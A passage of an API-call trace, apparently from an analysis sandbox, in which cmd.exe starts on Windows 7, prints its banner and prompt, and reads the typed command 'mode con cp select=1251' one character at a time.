Locale=0x409, LCType=0x35, lpLCData=0x4a27a3a0, cchData=32 | out: lpLCData="Fri") returned 4 [0194.959] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a27a360, cchData=32 | out: lpLCData="Sat") returned 4 [0194.959] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a27a700, cchData=32 | out: lpLCData="Sun") returned 4 [0194.959] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a267b40, cchData=8 | out: lpLCData=".") returned 2 [0194.959] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a27a4e0, cchData=8 | out: lpLCData=",") returned 2 [0194.959] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0194.959] GetProcessHeap () returned 0x290000 [0194.959] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20c) returned 0x2a95c0 [0194.959] GetConsoleTitleW (in: lpConsoleTitle=0x2a95c0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0194.960] _get_osfhandle (_FileHandle=1) returned 0xf4 [0194.960] GetFileType (hFile=0xf4) returned 0x3 [0194.960] BrandingFormatString () returned 0x2a97e0 [0194.976] GetVersion () returned 0x1db10106 [0194.976] _vsnwprintf (in: _Buffer=0x20fbb0, _BufferCount=0x1f, _Format="%d.%d.%04d", _ArgList=0x20fb48 | out: _Buffer="6.1.7601") returned 8 [0194.976] _get_osfhandle (_FileHandle=1) returned 0xf4 [0194.976] GetFileType (hFile=0xf4) returned 0x3 [0194.976] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x4a276340, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Microsoft Windows [Version %1]") returned 0x1e [0194.976] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x4a276340, nSize=0x2000, Arguments=0x20fb50 | out: lpBuffer="Microsoft Windows [Version 6.1.7601]") returned 0x24 [0194.977] _get_osfhandle (_FileHandle=1) returned 0xf4 [0194.977] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Windows [Version 6.1.7601]", cchWideChar=-1, lpMultiByteStr=0x4a26c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Windows [Version 6.1.7601]", lpUsedDefaultChar=0x0) returned 37 [0194.977] WriteFile (in: hFile=0xf4, lpBuffer=0x4a26c320*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0x20fad8, lpOverlapped=0x0 | out: lpBuffer=0x4a26c320*, lpNumberOfBytesWritten=0x20fad8*=0x24, lpOverlapped=0x0) returned 1 [0194.977] _vsnwprintf (in: _Buffer=0x4a276340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x20fb78 | out: _Buffer="\r\n") returned 2 [0194.977] _get_osfhandle (_FileHandle=1) returned 0xf4 [0194.977] GetFileType (hFile=0xf4) returned 0x3 [0194.977] _get_osfhandle (_FileHandle=1) returned 0xf4 [0194.977] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a26c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0194.977] WriteFile (in: hFile=0xf4, lpBuffer=0x4a26c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x20fb48, lpOverlapped=0x0 | out: lpBuffer=0x4a26c320*, lpNumberOfBytesWritten=0x20fb48*=0x2, lpOverlapped=0x0) returned 1 [0194.977] _vsnwprintf (in: _Buffer=0x4a276340, _BufferCount=0x1fff, _Format="%s", _ArgList=0x20fb78 | out: _Buffer="Copyright (c) 2009 Microsoft Corporation. All rights reserved.") returned 63 [0194.977] _get_osfhandle (_FileHandle=1) returned 0xf4 [0194.977] GetFileType (hFile=0xf4) returned 0x3 [0194.977] _get_osfhandle (_FileHandle=1) returned 0xf4 [0194.977] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Copyright (c) 2009 Microsoft Corporation. All rights reserved.", cchWideChar=-1, lpMultiByteStr=0x4a26c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Copyright (c) 2009 Microsoft Corporation. All rights reserved.", lpUsedDefaultChar=0x0) returned 64 [0194.977] WriteFile (in: hFile=0xf4, lpBuffer=0x4a26c320*, nNumberOfBytesToWrite=0x3f, lpNumberOfBytesWritten=0x20fb48, lpOverlapped=0x0 | out: lpBuffer=0x4a26c320*, lpNumberOfBytesWritten=0x20fb48*=0x3f, lpOverlapped=0x0) returned 1 [0194.978] _vsnwprintf (in: _Buffer=0x4a276340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x20fb78 | out: _Buffer="\r\n") returned 2 [0194.978] _get_osfhandle (_FileHandle=1) returned 0xf4 [0194.978] GetFileType (hFile=0xf4) returned 0x3 [0194.978] _get_osfhandle (_FileHandle=1) returned 0xf4 [0194.978] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a26c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0194.978] WriteFile (in: hFile=0xf4, lpBuffer=0x4a26c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x20fb48, lpOverlapped=0x0 | out: lpBuffer=0x4a26c320*, lpNumberOfBytesWritten=0x20fb48*=0x2, lpOverlapped=0x0) returned 1 [0194.978] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e30000 [0194.978] GetProcAddress (hModule=0x76e30000, lpProcName="CopyFileExW") returned 0x76e423d0 [0194.978] GetProcAddress (hModule=0x76e30000, lpProcName="IsDebuggerPresent") returned 0x76e38290 [0194.978] GetProcAddress (hModule=0x76e30000, lpProcName="SetConsoleInputExeNameW") returned 0x76e417e0 [0194.978] _get_osfhandle (_FileHandle=0) returned 0xe8 [0194.978] GetFileType (hFile=0xe8) returned 0x3 [0194.978] _setmode (_FileHandle=0, _Mode=32768) returned 16384 [0194.979] NtOpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0x20f9a0 | out: TokenHandle=0x20f9a0*=0x0) returned 0xc000007c [0194.979] NtOpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0x20f9a0 | out: TokenHandle=0x20f9a0*=0x50) returned 0x0 [0194.979] NtQueryInformationToken (in: TokenHandle=0x50, TokenInformationClass=0x12, TokenInformation=0x20f9b0, TokenInformationLength=0x4, ReturnLength=0x20f9b8 | out: TokenInformation=0x20f9b0, ReturnLength=0x20f9b8) returned 0x0 [0194.979] NtQueryInformationToken (in: TokenHandle=0x50, TokenInformationClass=0x1a, TokenInformation=0x20f9b8, TokenInformationLength=0x4, ReturnLength=0x20f9b0 | out: TokenInformation=0x20f9b8, ReturnLength=0x20f9b0) returned 0x0 [0194.979] NtClose (Handle=0x50) returned 0x0 [0194.979] FormatMessageW (in: dwFlags=0x1900, lpSource=0x0, dwMessageId=0x40002748, dwLanguageId=0x0, lpBuffer=0x20f980, nSize=0x0, Arguments=0x20f988 | out: lpBuffer="\x97e0\x2a") returned 0xf [0194.979] GetProcessHeap () returned 0x290000 [0194.979] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x218) returned 0x291ab0 [0194.980] GetConsoleTitleW (in: lpConsoleTitle=0x20f9d0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0194.980] wcsstr (_Str="C:\\Windows\\system32\\cmd.exe", _SubStr="Administrator: ") returned 0x0 [0194.980] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0194.981] GetProcessHeap () returned 0x290000 [0194.981] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x291ab0 | out: hHeap=0x290000) returned 1 [0194.981] LocalFree (hMem=0x2a97e0) returned 0x0 [0194.981] GetProcessHeap () returned 0x290000 [0194.981] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2aaa10 | out: hHeap=0x290000) returned 1 [0194.982] _vsnwprintf (in: _Buffer=0x4a276340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x20f6b8 | out: _Buffer="\r\n") returned 2 [0194.982] _get_osfhandle (_FileHandle=1) returned 0xf4 [0194.982] GetFileType (hFile=0xf4) returned 0x3 [0194.982] _get_osfhandle (_FileHandle=1) returned 0xf4 [0194.982] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a26c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0194.982] WriteFile (in: hFile=0xf4, lpBuffer=0x4a26c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x20f688, lpOverlapped=0x0 | out: lpBuffer=0x4a26c320*, lpNumberOfBytesWritten=0x20f688*=0x2, lpOverlapped=0x0) returned 1 [0194.982] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a25f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0194.982] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a26c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0194.982] _vsnwprintf (in: _Buffer=0x4a25eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x20f6c8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0194.982] _vsnwprintf (in: _Buffer=0x4a25ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x20f6c8 | out: _Buffer=">") returned 1 [0194.982] _get_osfhandle (_FileHandle=1) returned 0xf4 [0194.982] GetFileType (hFile=0xf4) returned 0x3 [0194.982] _get_osfhandle (_FileHandle=1) returned 0xf4 [0194.982] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a26c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0194.982] WriteFile (in: hFile=0xf4, lpBuffer=0x4a26c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x20f6b8, lpOverlapped=0x0 | out: lpBuffer=0x4a26c320*, lpNumberOfBytesWritten=0x20f6b8*=0x26, lpOverlapped=0x0) returned 1 [0194.983] _get_osfhandle (_FileHandle=0) returned 0xe8 [0194.983] GetFileType (hFile=0xe8) returned 0x3 [0194.983] _get_osfhandle (_FileHandle=0) returned 0xe8 [0194.983] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.983] ReadFile (in: hFile=0xe8, lpBuffer=0x4a26c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f9b8, lpOverlapped=0x0 | out: lpBuffer=0x4a26c320*, lpNumberOfBytesRead=0x20f9b8*=0x1, lpOverlapped=0x0) returned 1 [0194.983] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a26c320, cbMultiByte=1, lpWideCharStr=0x4a26e320, cchWideChar=1 | out: lpWideCharStr="m") returned 1 [0194.984] _get_osfhandle (_FileHandle=0) returned 0xe8 [0194.984] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.984] ReadFile (in: hFile=0xe8, lpBuffer=0x4a26c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f9b8, lpOverlapped=0x0 | out: lpBuffer=0x4a26c320*, lpNumberOfBytesRead=0x20f9b8*=0x1, lpOverlapped=0x0) returned 1 [0194.984] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a26c320, cbMultiByte=1, lpWideCharStr=0x4a26e322, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0194.984] _get_osfhandle (_FileHandle=0) returned 0xe8 [0194.984] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.984] ReadFile (in: hFile=0xe8, lpBuffer=0x4a26c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f9b8, lpOverlapped=0x0 | out: lpBuffer=0x4a26c320*, lpNumberOfBytesRead=0x20f9b8*=0x1, lpOverlapped=0x0) returned 1 [0194.984] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a26c320, cbMultiByte=1, lpWideCharStr=0x4a26e324, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0194.984] _get_osfhandle (_FileHandle=0) returned 0xe8 [0194.984] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.984] ReadFile (in: hFile=0xe8, lpBuffer=0x4a26c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f9b8, lpOverlapped=0x0 | out: lpBuffer=0x4a26c320*, lpNumberOfBytesRead=0x20f9b8*=0x1, lpOverlapped=0x0) returned 1 [0194.984] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a26c320, cbMultiByte=1, lpWideCharStr=0x4a26e326, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0194.984] _get_osfhandle (_FileHandle=0) returned 0xe8 [0194.984] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.985] ReadFile (in: hFile=0xe8, lpBuffer=0x4a26c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f9b8, lpOverlapped=0x0 | out: lpBuffer=0x4a26c320*, lpNumberOfBytesRead=0x20f9b8*=0x1, lpOverlapped=0x0) returned 1 [0194.985] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a26c320, cbMultiByte=1, lpWideCharStr=0x4a26e328, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0194.985] _get_osfhandle (_FileHandle=0) returned 0xe8 [0194.985] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.985] ReadFile (in: hFile=0xe8, lpBuffer=0x4a26c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f9b8, lpOverlapped=0x0 | out: lpBuffer=0x4a26c320*, lpNumberOfBytesRead=0x20f9b8*=0x1, lpOverlapped=0x0) returned 1 [0194.985] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a26c320, cbMultiByte=1, lpWideCharStr=0x4a26e32a, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0194.985] _get_osfhandle (_FileHandle=0) returned 0xe8 [0194.985] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.985] ReadFile (in: hFile=0xe8, lpBuffer=0x4a26c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f9b8, lpOverlapped=0x0 | out: lpBuffer=0x4a26c320*, lpNumberOfBytesRead=0x20f9b8*=0x1, lpOverlapped=0x0) returned 1 [0194.985] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a26c320, cbMultiByte=1, lpWideCharStr=0x4a26e32c, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0194.985] _get_osfhandle (_FileHandle=0) returned 0xe8 [0194.985] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.985] ReadFile (in: hFile=0xe8, lpBuffer=0x4a26c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f9b8, lpOverlapped=0x0 | out: lpBuffer=0x4a26c320*, lpNumberOfBytesRead=0x20f9b8*=0x1, lpOverlapped=0x0) returned 1 [0194.985] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a26c320, cbMultiByte=1, lpWideCharStr=0x4a26e32e, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0194.985] _get_osfhandle (_FileHandle=0) returned 0xe8 [0194.985] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.985] ReadFile (in: hFile=0xe8, lpBuffer=0x4a26c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f9b8, lpOverlapped=0x0 | out: lpBuffer=0x4a26c320*, lpNumberOfBytesRead=0x20f9b8*=0x1, lpOverlapped=0x0) returned 1 [0194.986] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a26c320, cbMultiByte=1, lpWideCharStr=0x4a26e330, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0194.986] _get_osfhandle (_FileHandle=0) returned 0xe8 [0194.986] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.986] ReadFile (in: hFile=0xe8, lpBuffer=0x4a26c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f9b8, lpOverlapped=0x0 | out: lpBuffer=0x4a26c320*, lpNumberOfBytesRead=0x20f9b8*=0x1, lpOverlapped=0x0) returned 1 [0194.986] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a26c320, cbMultiByte=1, lpWideCharStr=0x4a26e332, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0194.986] _get_osfhandle (_FileHandle=0) returned 0xe8 [0194.986] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.986] ReadFile (in: hFile=0xe8, lpBuffer=0x4a26c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f9b8, lpOverlapped=0x0 | out: lpBuffer=0x4a26c320*, lpNumberOfBytesRead=0x20f9b8*=0x1, lpOverlapped=0x0) returned 1 [0194.986] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a26c320, cbMultiByte=1, lpWideCharStr=0x4a26e334, cchWideChar=1 | out: lpWideCharStr="p") returned 1 [0194.986] _get_osfhandle (_FileHandle=0) returned 0xe8 [0194.986] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.986] ReadFile (in: hFile=0xe8, lpBuffer=0x4a26c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f9b8, lpOverlapped=0x0 | out: lpBuffer=0x4a26c320*, lpNumberOfBytesRead=0x20f9b8*=0x1, lpOverlapped=0x0) returned 1 [0194.986] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a26c320, cbMultiByte=1, lpWideCharStr=0x4a26e336, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0194.986] _get_osfhandle (_FileHandle=0) returned 0xe8 [0194.986] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.986] ReadFile (in: hFile=0xe8, lpBuffer=0x4a26c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f9b8, lpOverlapped=0x0 | out: lpBuffer=0x4a26c320*, lpNumberOfBytesRead=0x20f9b8*=0x1, lpOverlapped=0x0) returned 1 [0194.986] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a26c320, cbMultiByte=1, lpWideCharStr=0x4a26e338, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0194.986] _get_osfhandle (_FileHandle=0) returned 0xe8 [0194.986] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.986] ReadFile (in: hFile=0xe8, lpBuffer=0x4a26c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f9b8, lpOverlapped=0x0 | out: lpBuffer=0x4a26c320*, lpNumberOfBytesRead=0x20f9b8*=0x1, lpOverlapped=0x0) returned 1 [0194.987] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a26c320, cbMultiByte=1, lpWideCharStr=0x4a26e33a, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0194.987] _get_osfhandle (_FileHandle=0) returned 0xe8 [0194.987] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.987] ReadFile (in: hFile=0xe8, lpBuffer=0x4a26c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f9b8, lpOverlapped=0x0 | out: lpBuffer=0x4a26c320*, lpNumberOfBytesRead=0x20f9b8*=0x1, lpOverlapped=0x0) returned 1 [0194.987] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a26c320, cbMultiByte=1, lpWideCharStr=0x4a26e33c, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0194.987] _get_osfhandle (_FileHandle=0) returned 0xe8 [0194.987] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.987] ReadFile (in: hFile=0xe8, lpBuffer=0x4a26c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f9b8, lpOverlapped=0x0 | out: lpBuffer=0x4a26c320*, lpNumberOfBytesRead=0x20f9b8*=0x1, lpOverlapped=0x0) returned 1 [0194.987] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a26c320, cbMultiByte=1, lpWideCharStr=0x4a26e33e, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0194.987] _get_osfhandle (_FileHandle=0) returned 0xe8 [0194.987] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.987] ReadFile (in: hFile=0xe8, lpBuffer=0x4a26c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f9b8, lpOverlapped=0x0 | out: lpBuffer=0x4a26c320*, lpNumberOfBytesRead=0x20f9b8*=0x1, lpOverlapped=0x0) returned 1 [0194.987] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a26c320, cbMultiByte=1, lpWideCharStr=0x4a26e340, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0194.987] _get_osfhandle (_FileHandle=0) returned 0xe8 [0194.987] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.987] ReadFile (in: hFile=0xe8, lpBuffer=0x4a26c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f9b8, lpOverlapped=0x0 | out: lpBuffer=0x4a26c320*, lpNumberOfBytesRead=0x20f9b8*=0x1, lpOverlapped=0x0) returned 1 [0194.988] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a26c320, cbMultiByte=1, lpWideCharStr=0x4a26e342, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0194.988] _get_osfhandle (_FileHandle=0) returned 0xe8 [0194.988] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.988] ReadFile (in: hFile=0xe8, lpBuffer=0x4a26c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f9b8, lpOverlapped=0x0 | out: lpBuffer=0x4a26c320*, lpNumberOfBytesRead=0x20f9b8*=0x1, lpOverlapped=0x0) returned 1 [0194.988] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a26c320, cbMultiByte=1, lpWideCharStr=0x4a26e344, cchWideChar=1 | out: lpWideCharStr="=") returned 1 [0194.988] _get_osfhandle (_FileHandle=0) returned 0xe8 [0194.988] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.988] ReadFile (in: hFile=0xe8, lpBuffer=0x4a26c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f9b8, lpOverlapped=0x0 | out: lpBuffer=0x4a26c320*, lpNumberOfBytesRead=0x20f9b8*=0x1, lpOverlapped=0x0) returned 1 [0194.988] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a26c320, cbMultiByte=1, lpWideCharStr=0x4a26e346, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0194.988] _get_osfhandle (_FileHandle=0) returned 0xe8 [0194.988] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.988] ReadFile (in: hFile=0xe8, lpBuffer=0x4a26c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f9b8, lpOverlapped=0x0 | out: lpBuffer=0x4a26c320*, lpNumberOfBytesRead=0x20f9b8*=0x1, lpOverlapped=0x0) returned 1 [0194.988] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a26c320, cbMultiByte=1, lpWideCharStr=0x4a26e348, cchWideChar=1 | out: lpWideCharStr="2") returned 1 [0194.988] _get_osfhandle (_FileHandle=0) returned 0xe8 [0194.988] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.988] ReadFile (in: hFile=0xe8, lpBuffer=0x4a26c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f9b8, lpOverlapped=0x0 | out: lpBuffer=0x4a26c320*, lpNumberOfBytesRead=0x20f9b8*=0x1, lpOverlapped=0x0) returned 1 [0194.988] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a26c320, cbMultiByte=1, lpWideCharStr=0x4a26e34a, cchWideChar=1 | out: lpWideCharStr="5") returned 1 [0194.988] _get_osfhandle (_FileHandle=0) returned 0xe8 [0194.988] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.988] ReadFile (in: hFile=0xe8, lpBuffer=0x4a26c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f9b8, lpOverlapped=0x0 | out: lpBuffer=0x4a26c320*, lpNumberOfBytesRead=0x20f9b8*=0x1, lpOverlapped=0x0) returned 1 [0194.988] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a26c320, cbMultiByte=1, lpWideCharStr=0x4a26e34c, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0194.988] _get_osfhandle (_FileHandle=0) returned 0xe8 [0194.988] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.989] ReadFile (in: hFile=0xe8, lpBuffer=0x4a26c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f9b8, lpOverlapped=0x0 | out: lpBuffer=0x4a26c320*, lpNumberOfBytesRead=0x20f9b8*=0x1, lpOverlapped=0x0) returned 1 